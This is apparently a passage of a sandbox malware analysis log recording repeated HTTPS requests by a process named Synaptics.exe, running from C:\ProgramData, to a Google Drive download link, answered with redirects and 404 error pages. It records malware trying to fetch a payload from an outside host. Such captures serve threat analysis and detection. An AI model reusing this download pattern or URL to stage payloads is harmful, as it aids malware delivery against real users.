2025-01-02 19:29:00 UTC	344	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=O3h5K0Mlym-rrLjhzGpk4j7uTinDx0L_6UzibdP1RDC_dxub7vgJKYEHbgEy2EUzTv6j_Scn4-yJmKWdQ7GPwv8A4sHSmxpOkYMPAnFnYaMPENGOIsuDmm1Y5WSmNZAxu3tfYoY7sv5Qty8H7UJa53mIoIRZkFIVFgAxzxyrueB1f-dHIGAb-TA
2025-01-02 19:29:01 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:29:01 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: script-src 'report-sample' 'nonce-sPWcaFxQft1mm_EJfRB4lw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.7	49893	142.250.186.129	443	4136	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:29:00 UTC	387	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=Iza8T9_l1iZAYHDGJisrnaN8y5GuoKZB-AuhebVGsQd3ocqHadJ9D_IqHl6JbzFlsWNzgAmmfOiShudpkox3PtukW4MhcOi0X_YSXZs6ZTASBhK_6u7NJRPnRx_EcCwXaJeJVJhTrDFGVgT4USSbBkCZmJ4XUgLKDOyhSCLnPr6yFQ6WgW12aA0
2025-01-02 19:29:01 UTC	1243	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC4WbCL8cV0zRYT9GLuetqJpzU15IIX3-R84NvHXezU5Ozx9G-RNWmkZQgqip8xprEa6 Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:29:01 GMT Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce--acklA5EADnoaowUL6Ox5w' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-02 19:29:01 UTC	147	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (No
2025-01-02 19:29:01 UTC	1390	IN	Data Raw: 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 69 74 4d 58 6c 59 4d 45 6f 78 4a 34 41 37 6d 6b 58 52 4a 39 68 67 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 Data Ascii: t Found)!!1</title><style nonce="itMXlYMEoxJ4A7mkXRJ9hg">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding
2025-01-02 19:29:01 UTC	115	IN	Data Raw: 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: >Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.7	49894	216.58.206.78	443	4136	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:29:00 UTC	344	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=O3h5K0Mlym-rrLjhzGpk4j7uTinDx0L_6UzibdP1RDC_dxub7vgJKYEHbgEy2EUzTv6j_Scn4-yJmKWdQ7GPwv8A4sHSmxpOkYMPAnFnYaMPENGOIsuDmm1Y5WSmNZAxu3tfYoY7sv5Qty8H7UJa53mIoIRZkFIVFgAxzxyrueB1f-dHIGAb-TA
2025-01-02 19:29:01 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:29:01 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-mBbD3Qvw7P8tomU_Fh4dPA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.7	49895	142.250.186.129	443	4136	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:29:00 UTC	387	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=Iza8T9_l1iZAYHDGJisrnaN8y5GuoKZB-AuhebVGsQd3ocqHadJ9D_IqHl6JbzFlsWNzgAmmfOiShudpkox3PtukW4MhcOi0X_YSXZs6ZTASBhK_6u7NJRPnRx_EcCwXaJeJVJhTrDFGVgT4USSbBkCZmJ4XUgLKDOyhSCLnPr6yFQ6WgW12aA0
2025-01-02 19:29:01 UTC	1243	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC6Sj2xJNtXm2JWAqdfXLkWjKsEwoQEvlgIIoMOWJznSd2J2OY2paMd-VA6Xd8BaSfs9 Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:29:01 GMT Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-GrLzfUWsrSgGewT7aUB55A' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-02 19:29:01 UTC	147	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (No
2025-01-02 19:29:01 UTC	1390	IN	Data Raw: 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 56 57 49 37 68 6e 64 61 69 65 47 4b 66 57 56 46 4d 4b 32 73 6d 67 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 Data Ascii: t Found)!!1</title><style nonce="VWI7hndaieGKfWVFMK2smg">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding
2025-01-02 19:29:01 UTC	115	IN	Data Raw: 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: >Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.7	49905	216.58.206.78	443	4136	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:29:01 UTC	344	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=O3h5K0Mlym-rrLjhzGpk4j7uTinDx0L_6UzibdP1RDC_dxub7vgJKYEHbgEy2EUzTv6j_Scn4-yJmKWdQ7GPwv8A4sHSmxpOkYMPAnFnYaMPENGOIsuDmm1Y5WSmNZAxu3tfYoY7sv5Qty8H7UJa53mIoIRZkFIVFgAxzxyrueB1f-dHIGAb-TA

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.7	49907	216.58.206.78	443	4136	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:29:01 UTC	344	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=GeAkmjbx9XzFNs4FFTRBp3iyJ_rRSIBOK5y196FKDF35PMipuw2aVwOKuIboxDPPASQuN-xbYZJkPpmtKazWJJ6TnCTLy4vwt9MEVuXzyph2RWF4j13r0KkdCxjiMzCLuTYbg-ZCUTdHoPAJjpCEwZFbPE4TT1r8RUGqNdikHEOX1FTNOdkVh2I

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.7	49906	142.250.186.129	443	4136	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:29:01 UTC	387	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=Iza8T9_l1iZAYHDGJisrnaN8y5GuoKZB-AuhebVGsQd3ocqHadJ9D_IqHl6JbzFlsWNzgAmmfOiShudpkox3PtukW4MhcOi0X_YSXZs6ZTASBhK_6u7NJRPnRx_EcCwXaJeJVJhTrDFGVgT4USSbBkCZmJ4XUgLKDOyhSCLnPr6yFQ6WgW12aA0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.7	49915	216.58.206.78	443	4136	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:29:02 UTC	344	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=GeAkmjbx9XzFNs4FFTRBp3iyJ_rRSIBOK5y196FKDF35PMipuw2aVwOKuIboxDPPASQuN-xbYZJkPpmtKazWJJ6TnCTLy4vwt9MEVuXzyph2RWF4j13r0KkdCxjiMzCLuTYbg-ZCUTdHoPAJjpCEwZFbPE4TT1r8RUGqNdikHEOX1FTNOdkVh2I
2025-01-02 19:29:03 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:29:02 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-LDITmQrxCL8Zo1intcFHTA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.7	49916	216.58.206.78	443	4136	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:29:02 UTC	344	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=GeAkmjbx9XzFNs4FFTRBp3iyJ_rRSIBOK5y196FKDF35PMipuw2aVwOKuIboxDPPASQuN-xbYZJkPpmtKazWJJ6TnCTLy4vwt9MEVuXzyph2RWF4j13r0KkdCxjiMzCLuTYbg-ZCUTdHoPAJjpCEwZFbPE4TT1r8RUGqNdikHEOX1FTNOdkVh2I
2025-01-02 19:29:03 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:29:02 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-jV8iFSeO5phAmvw9PgF95w' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.7	49927	216.58.206.78	443	4136	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:29:03 UTC	344	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=Iza8T9_l1iZAYHDGJisrnaN8y5GuoKZB-AuhebVGsQd3ocqHadJ9D_IqHl6JbzFlsWNzgAmmfOiShudpkox3PtukW4MhcOi0X_YSXZs6ZTASBhK_6u7NJRPnRx_EcCwXaJeJVJhTrDFGVgT4USSbBkCZmJ4XUgLKDOyhSCLnPr6yFQ6WgW12aA0
2025-01-02 19:29:04 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:29:04 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-Wz6d7zF5I6_OgllPfcyZMg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.7	49926	142.250.186.129	443	4136	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:29:03 UTC	387	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=Iza8T9_l1iZAYHDGJisrnaN8y5GuoKZB-AuhebVGsQd3ocqHadJ9D_IqHl6JbzFlsWNzgAmmfOiShudpkox3PtukW4MhcOi0X_YSXZs6ZTASBhK_6u7NJRPnRx_EcCwXaJeJVJhTrDFGVgT4USSbBkCZmJ4XUgLKDOyhSCLnPr6yFQ6WgW12aA0
2025-01-02 19:29:04 UTC	1250	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC51A9Q-IEt5H_A7BmmAGcISxAnkDn459a35Bc0KN64_31Cdo3zAx5IfgT80JBefK1AYd3Z7_Pg Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:29:04 GMT Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: script-src 'report-sample' 'nonce-aTKSeuoI7bcHS9TxX_8rBQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-02 19:29:04 UTC	140	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error
2025-01-02 19:29:04 UTC	1390	IN	Data Raw: 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 47 67 39 4c 6b 4a 35 6a 70 5f 42 74 36 6e 5a 32 51 79 72 54 6d 67 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b Data Ascii: 404 (Not Found)!!1</title><style nonce="Gg9LkJ5jp_Bt6nZ2QyrTmg">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;
2025-01-02 19:29:04 UTC	122	IN	Data Raw: 62 3e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: b> <ins>Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
